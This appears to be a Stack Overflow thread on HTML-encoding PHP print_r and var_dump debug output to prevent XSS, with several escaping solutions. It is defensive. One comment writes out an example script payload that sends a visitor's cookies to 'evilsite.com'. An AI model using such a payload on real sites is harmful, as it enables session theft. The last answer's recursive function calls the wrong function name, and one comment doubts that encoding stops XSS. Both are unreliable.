11
<?php 

$x = array("<b>","<i>","b","i","<h1>hello</h1>");
print_r ($x);
echo "<hr>";
var_dump ($x);

outputs this in the html source!

Array
(
    [0] => <b>
    [1] => <i>
    [2] => b
    [3] => i
    [4] => <h1>hello</h1>
)
<hr>array(5) {
  [0]=>
  string(3) "<b>"
  [1]=>
  string(3) "<i>"
  [2]=>
  string(1) "b"
  [3]=>
  string(1) "i"
  [4]=>
  string(14) "<h1>hello</h1>"
}

obviously, I could have been XSS'ed by that!
How can I make sure that the array values are htmlencoded?

vascowhite
  • 18,120
  • 9
  • 61
  • 77
Average Joe
  • 4,521
  • 9
  • 53
  • 81
  • I don't understand what you are trying to do. print_r and var_dump are intended to be used for debugging so XSS should not be a problem when you use them. – Andreas Hagen Apr 07 '12 at 16:22
  • 1
    let's say you are reading some user supplied value from your own database. and you are in debugging mode, you just happened to run print_r($userdata) and one of the values in the $userdata contains something like [script]window.location.href="evilsite.com?cookies="+document.cookies"[/script]. – Average Joe Apr 07 '12 at 16:27
  • Well, since you are the one debugging you probably know to not click on the you are the 1000000'th visitor banner or accept the suspicious Java applet, so you will probably be fine. If you are worried tho you can always replace the data with some dummy text or write your won debug output routine. – Andreas Hagen Apr 07 '12 at 16:39
  • 1
    AverageJoe - be sure to be suspicious of all data, even if it's in your database. Use htmlspecialchars as @knittl noted below. – Scott C Wilson Apr 07 '12 at 16:50
  • @Scott, that's precisely the idea! I'm not sure why you made that point. My question was how to get htmlentities applied here in var_dump and print_r so that we don't get XSS'ed! Knittl understood the question. – Average Joe Apr 07 '12 at 19:23
  • It was intended to be a response to @AndreasHagen who wasn't sure you needed this precaution. – Scott C Wilson Apr 07 '12 at 20:21
  • While what Scott says is true, @AndreasHagen is right to point out there is no particular relation with `var_dump`, `print_r` and XSS attacks. This conflates two very different considerations. 1) How to HTML encode a string 2) How any output, whether var_dump, print_r, echo or otherwise, could be involved in XSS attempts. Incidentally, HTML encoding is to ensure your data is interpreted correctly. You could have the same level of exposure with properly encoded HTML so it does not really protect against XSS – That Realty Programmer Guy Jan 24 '22 at 13:02

8 Answers8

28

While this question has an accepted answer, I think David Morrow's answer is the best/ simplest/ most practical (uses the print_r true flag):

echo "<pre>".htmlentities(print_r($some_array, true))."</pre>";

Never-the-less, here is another solution that uses output buffering:

<?php

ob_start();
print_r($some_array);
$buffer = ob_get_clean();
echo "<pre>".htmlentities($buffer)."</pre>";

?>
Self Evident
  • 402
  • 4
  • 6
  • This also fixes the problem that
    print_r($text_with div)
    can cause html validation errors, like "
    some text
    ". Here v3c validator complain that
    is not allowed inside
    – Leif Neland Dec 12 '22 at 15:33
10

I found that knittl's code does not work. I had to make some small changes to get it to work as follows:

array_walk_recursive($inputarray, function(&$v) { $v = htmlspecialchars($v); });

Now this works fine in PHP5.3+

Frodik
  • 14,986
  • 23
  • 90
  • 141
8

Or you could just save the print_r to a string and then escape it using the second parameter set to true.

$arr = array('<script>alert("hey");</script>');
$str = print_r($arr, true);
echo htmlentities($str);

outputs:

Array
(
   [0] => <script>alert("hey");</script>
)

script is not executed

David Morrow
  • 8,965
  • 4
  • 29
  • 24
  • 1
    htmlentities won't do line returns or consecutive spaces so you may need to wrap it in a string replace for those: str_ireplace(array("\n"," "),array("
    "," "),htmlentities($str));
    – Mike Sep 29 '17 at 22:54
6

A function that works for me is described in this PHP manual comment.

His function that replaces var_dump is implemented as:

function htmlvardump()
{
    ob_start(); 
    $var = func_get_args(); 
    call_user_func_array('var_dump', $var); 
    echo htmlentities(ob_get_clean());
 } 

This works for me in PHP 5.3+.

(Please note that there was a typo in the original source).

Uwe Keim
  • 39,551
  • 56
  • 175
  • 291
  • 1
    I used this with a slight modification to loop over the values in $var and call var_dump on each one instead of the array of arguments. – Andrew Apr 09 '18 at 20:21
5

A simple solution would be to use array_walk_recursive:

array_walk_recursive($inputarray, function(&$v) { $v = htmlspecialchars($v); });
knittl
  • 246,190
  • 53
  • 318
  • 364
  • +1 But can be done shorter with shorter function name: `htmlentities` – noob Apr 07 '12 at 16:53
  • 2
    @micha: shorter? It's a different function that encodes its input differently – knittl Apr 07 '12 at 17:33
  • @Knittl I'm getting this `Parse error: syntax error, unexpected T_FUNCTION in ...` when I do this $x = array("","","b","i","

    hello

    "); print_r ($x); echo "
    "; var_dump ($x); echo "
    "; array_walk_recursive($x, function($v) { return htmlspecialchars($v); });
    – Average Joe Apr 07 '12 at 19:21
  • @AverageJoe: lambda functions were only introduced recently in PHP. In older versions you have to create a separate function and pass its name as callback to `array_walk_recursive` – knittl Apr 07 '12 at 19:23
  • @micha: "not very different" and "different" are not the same thing. I claimed it encodes its input differently (and it does). Furthermore, you usually don't want `htmlentities` (even if it saves you a few keystrokes – you can always create a wrapper function `function h($s) { return htmlspeciachars($s); }` or `$h = 'htmlspecialchars; echo $h('somestring')` depending on your needs) – knittl Apr 07 '12 at 19:25
5
echo <pre>;
echo htmlspecialchars(print_r($key['value'], true));
echo '</pre>';

I use this code to output an array value (contains adsense code) from no sql database.

Uwe Keim
  • 39,551
  • 56
  • 175
  • 291
Raymond
  • 51
  • 1
  • 1
1

Thanks to Knittl, here is What I came up with. works the way I wanted!

<?php 


$x = array("tag1" => "<b>","tag2" => "<i>","tag3" => "b","tag4" => "i","tag5" => "<h1>hello</h1>");

echo "<hr><pre>";
blp_print_r ($x);
echo "<hr>";
print_r($x);
echo "</pre><hr>"; 

/*

outputs this in the browser normal view

new one... 

Array
(
        ['tag1'] => <b>
        ['tag2'] => <i>
        ['tag3'] => b
        ['tag4'] => i
        ['tag5'] => <h1>hello</h1>
)


traditional one...

Array
(
    [tag1] => 
    [tag2] => 
    [tag3] => b
    [tag4] => i
    [tag5] => 
hello


)

*/



function blp_print_r($inputarray){
    echo "Array\n(\n";
    echo "<blockquote>";
    array_walk($inputarray,"html_encoder");
    echo "</blockquote>";
    echo ")";
}

function html_encoder($current_val,$current_key){

    echo "['" , htmlentities($current_key, ENT_QUOTES, "UTF-8") , "']", " => ";
    echo htmlentities($current_val, ENT_QUOTES, "UTF-8") , "\n";
}

?>
Uwe Keim
  • 39,551
  • 56
  • 175
  • 291
Average Joe
  • 4,521
  • 9
  • 53
  • 81
1

I found this page very helpful, but I did modify the functions to be recursive, the walker handler function checks for an array at the value after echoing the key, and then calls back the original function on that array. I think this makes it a true 'recursive htmlentity function hence the new name...

function htmlentities_print_r( $inputarray ) {

    echo "<pre>" ;

         array_walk( $inputarray , "html_encoder" ) ;

    echo "</pre>";

}

function html_encoder($current_val,$current_key){

    echo "['" , htmlentities($current_key, ENT_QUOTES, "UTF-8") , "']", " => ";

    if ( is_array( $current_val ) ) {

        blp_print_r( $current_val ) ;

    } else {

        echo htmlentities($current_val, ENT_QUOTES, "UTF-8") , "\n";

    }
}